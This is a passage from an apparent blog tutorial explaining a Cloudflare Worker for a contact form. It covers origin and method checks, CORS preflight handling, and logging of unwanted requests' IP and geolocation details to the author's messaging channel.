</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> { <span style="color:#e6db74">&#39;content-type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;text/html&#39;</span> },
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">status</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">405</span>
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>We are running an asynchronous function, which will trigger every time there is a data packet. At first, we are getting the context, which we shall be denoted by <code>request</code>. This <code>request</code> contains everything for us to work with.</p>
<p>Then, we are checking who sent the data to the worker.
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">90
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">url</span>)</span></span></code></pre></td></tr></table>
</div>
</div></p>
<p>Next, I am checking for three things.</p>
<ol>
<li>Does this request arrive in <code>/submit</code> path</li>
<li>Does this request have a POST HTTP Header</li>
<li>Did this request originate from ORIGIN_URI</li>
</ol>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((<span style="color:#a6e22e">url</span>.<span style="color:#a6e22e">pathname</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;/submit&#34;</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;POST&#34;</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;Origin&#39;</span>) <span style="color:#f92672">===</span> <span style="color:#a6e22e">ORIGIN_URI</span>)) {</span></span></code></pre></td></tr></table>
</div>
</div>
<p>If the above conditions are satisfiable, we are transferring control to process the data to <code>UPDATE()</code> function, and giving browser the response that Worker has received the request (with 200 response code).
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">await</span> <span style="color:#a6e22e">UPDATE</span>(<span style="color:#a6e22e">request</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({ <span style="color:#a6e22e">COMMENT</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;If you are seeing this, then we have a lot in common&#39;</span> }), {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">status</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span>,
</span></span><span style="display:flex;"><span>        ...<span style="color:#a6e22e">corsHeaders</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>})</span></span></code></pre></td></tr></table>
</div>
</div></p>
<p>Now, if you have worked with sending form data from one computer to another over a network, have scratched your head on why it is not working and end up hating CORS even more; Yep, Browser sends a Preflight <code>OPTIONS</code> request to check if it can really send the data or not.</p>
<h5 id="basic-options-know-how-2">Basic OPTIONS know-how <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></h5>
<p>The <code>OPTIONS</code> request mentioned in the introduction is a preflight request, which is part of the CORS (Cross-Origin Resource Sharing). CORS is a mechanism that provides configuration to configure access to shared resources. CORS applies when a webpage makes a request to another server other than its origin server, this could mean that either the domain, protocol, or port differs.</p>
<p>Using the request, the browser checks with the server whether the request is allowed. Only if the request is allowed, it’ll actually perform it.</p>
<p>We can perform a GET request without the need for a preflight request. However, the restrictions for POST requests are tighter. It means, for example, that we cannot send a JSON request without a preflight.</p>
<p>Thus, to handle OPTIONS, we need another check which invokes <code>handleOptions()</code> function.
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;OPTIONS&#34;</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">handleOptions</span>(<span style="color:#a6e22e">request</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div></p>
<p>If none is true, which usually happens when someone decides to send useless requests to the Worker, we invoke the else part. This return a response of 405 with a hash of some text which I forgot. If you are able to decode that, let me know.
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">ACTIVITY</span>(<span style="color:#a6e22e">request</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#e6db74">&#39;492077696c6c206e6f742070726f6365737320746869732072657175657374&#39;</span>, {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> { <span style="color:#e6db74">&#39;content-type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;text/html&#39;</span> },
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">status</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">405</span>
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div></p>
<h5 id="function-explanation">Function Explanation</h5>
<p>Now, we should take a look into what each function does in this script. First and foremost, we should check the <code>handleOptions</code>, as it is the first function to be invoked when sending a form response. Here, I&rsquo;m doing a basic check if there is a valid Origin point, has proper method and headers. If all three conditions are satisfied, I&rsquo;m sending the CORS headers, <a href="#cors-headers">which we have discussed before</a>. Else, I am sending allowed header that I&rsquo;m accepting only <code>OPTIONS</code>, which helps in reducing useless spam.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">74
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">87
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">handleOptions</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;Origin&#34;</span>) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;Access-Control-Request-Method&#34;</span>) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;Access-Control-Request-Headers&#34;</span>) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">null</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#66d9ef">null</span>, {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">corsHeaders</span>
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#66d9ef">null</span>, {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Allow&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;OPTIONS&#34;</span>,
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>The next part is when someone decides to spam me with useless requests. It is important that it should be logged so that I could put them in blacklist. I&rsquo;m creating an activity log of the sender&rsquo;s request. I am logging the following information:</p>
<ol>
<li>IP Address of Request Origin</li>
<li>Cloudflare Ray ID - it is an identifier given to every request that goes through Cloudflare</li>
<li>User Agent</li>
<li>The Closest Cloudflare Datacenter which got this request</li>
<li>Country from which Request originated</li>
<li>City from which Request originated</li>
<li>Approximate geographical location, using latitude &amp; longitude, and using Google Maps for showing me on the map</li>
<li>ASN of the incoming request</li>
<li>Postal code of the incoming request</li>
<li>Timezone from where the request was generated</li>
<li>ISP used for sending the request</li>
<li>Any content in the request in JSON format</li>
</ol>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">71
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">ACTIVITY</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">BODY</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ACTIVITY LOG
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    IP = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;CF-Connecting-IP&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    CF-RAY = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;cf-ray&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    User-Agent = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;user-agent&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Colo = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">colo</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Country = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">country</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    City = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">city</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Location = https://www.google.com/maps/place/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">latitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">+</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">longitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ASN = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">asn</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    PostalCode = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">postalCode</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Region = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">region</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Timezone = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">timezone</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Organization = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">asOrganization</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    BODY = 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#66d9ef">await</span> <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">json</span>(), <span style="color:#66d9ef">null</span>, <span style="color:#ae81ff">2</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ====================================`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">TG</span>(<span style="color:#a6e22e">BODY</span>);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Next is <code>UPDATE</code> function which handles all the legitimate request coming from the form. I&rsquo;m first converting the request to JSON for easier parsing. From the JSON Object, I am extracting:</p>
<ol>
<li>Message itself</li>
<li>User agent of the browser</li>
<li>Default language set in browser</li>
<li>System Date and Time with Timezone</li>
<li>IP Address</li>
<li>Edge location</li>
<li>City, Country, Postal code, region, latitude, longitude of the request origination</li>
<li>Timezone provided by Cloudflare</li>
<li>ISP Name</li>
</ol>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
